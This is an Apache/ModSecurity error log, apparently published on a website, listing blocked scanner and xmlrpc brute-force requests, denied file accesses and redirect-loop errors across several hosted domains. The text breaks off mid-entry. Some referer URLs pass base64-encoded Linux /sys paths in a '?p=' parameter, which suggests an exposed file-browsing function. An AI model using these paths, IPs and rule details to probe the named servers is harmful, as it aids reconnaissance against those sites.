https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:15:09.266001 2026] [security2:error] [pid 646876:tid 647004] [remote 17.241.75.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjdyTkdrNlD40tSGdAgAAMX0"] [Sat Jun 13 18:15:09.360602 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.9:57584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:09.360898 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.9:57584] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:09.382824 2026] [security2:error] [pid 648189:tid 648434] [client 172.56.168.133:11432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yjVWSojQL4F7upKBTBwAAANU"] [Sat Jun 13 18:15:09.382978 2026] [security2:error] [pid 648189:tid 648434] [client 172.56.168.133:11432] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yjVWSojQL4F7upKBTBwAAANU"] [Sat Jun 13 18:15:09.461692 2026] [security2:error] [pid 646876:tid 646891] [remote 17.241.75.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjdyTkdrNlD40tSGdBgAAMww"] [Sat Jun 13 18:15:09.476278 2026] [security2:error] [pid 646876:tid 646982] [remote 17.246.19.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjdyTkdrNlD40tSGdBwAAZWc"] [Sat Jun 13 18:15:09.543959 2026] [security2:error] [pid 646876:tid 646962] [remote 17.22.253.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjdyTkdrNlD40tSGdCAAARlM"] [Sat Jun 13 18:15:09.578505 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.98:53478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:09.578804 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.98:53478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:09.610410 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.3:50420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:09.610784 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.3:50420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:09.730012 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:09.730310 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:10.069262 2026] [core:error] [pid 648189:tid 648380] [client 47.79.200.111:32316] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:15:10.069294 2026] [core:error] [pid 648189:tid 648380] [client 47.79.200.111:32316] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:15:10.114825 2026] [security2:error] [pid 646876:tid 647018] [client 168.144.123.47:58837] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.123.144.168.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.mastersdeldeporte.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yjtyTkdrNlD40tSGdHAAAAAo"] [Sat Jun 13 18:15:10.252117 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:15:10.252414 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50Ni9kZXZpY2UvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:15:10.348963 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.28:35288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:10.349372 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.28:35288] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:10.510239 2026] [security2:error] [pid 646876:tid 646937] [remote 17.241.75.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjtyTkdrNlD40tSGdJQAAejo"] [Sat Jun 13 18:15:10.552594 2026] [security2:error] [pid 648189:tid 648247] [remote 17.246.15.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjlWSojQL4F7upKBTGgAA9Bo"] [Sat Jun 13 18:15:10.607983 2026] [security2:error] [pid 648189:tid 648427] [client 210.217.96.217:60702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yjlWSojQL4F7upKBTGwAAAM4"] [Sat Jun 13 18:15:10.608106 2026] [security2:error] [pid 648189:tid 648427] [client 210.217.96.217:60702] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yjlWSojQL4F7upKBTGwAAAM4"] [Sat Jun 13 18:15:10.644398 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.77:46489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:10.644686 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.77:46489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:10.671360 2026] [security2:error] [pid 646876:tid 647006] [remote 17.22.245.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjtyTkdrNlD40tSGdLAAAZ38"] [Sat Jun 13 18:15:10.728649 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.37:30738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:10.729111 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.37:30738] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:10.823829 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:15:10.824105 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:15:10.913813 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.88:20658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:10.914077 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.88:20658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:10.943301 2026] [security2:error] [pid 648189:tid 648279] [remote 17.246.19.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yjlWSojQL4F7upKBTJgAAsDk"] [Sat Jun 13 18:15:11.332268 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:15:11.332736 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:15:11.461884 2026] [security2:error] [pid 648189:tid 648299] [remote 17.246.23.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yj1WSojQL4F7upKBTMQAAkk0"] [Sat Jun 13 18:15:11.570184 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.99:61522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:11.570457 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.99:61522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:11.870510 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:11.870810 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:11.877438 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.18:35616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:11.877903 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.18:35616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:11.914183 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.14:34346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:11.914622 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.14:34346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:11.995195 2026] [security2:error] [pid 646876:tid 646927] [remote 17.246.15.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yj9yTkdrNlD40tSGdZwAASzA"] [Sat Jun 13 18:15:12.352703 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.27:51318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.353040 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.27:51318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:12.400666 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:15:12.400963 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:15:12.516035 2026] [security2:error] [pid 648189:tid 648272] [remote 17.241.227.243:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 243.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ykFWSojQL4F7upKBTSgAAnjI"] [Sat Jun 13 18:15:12.517541 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.13:43785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:12.517857 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.13:43785] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 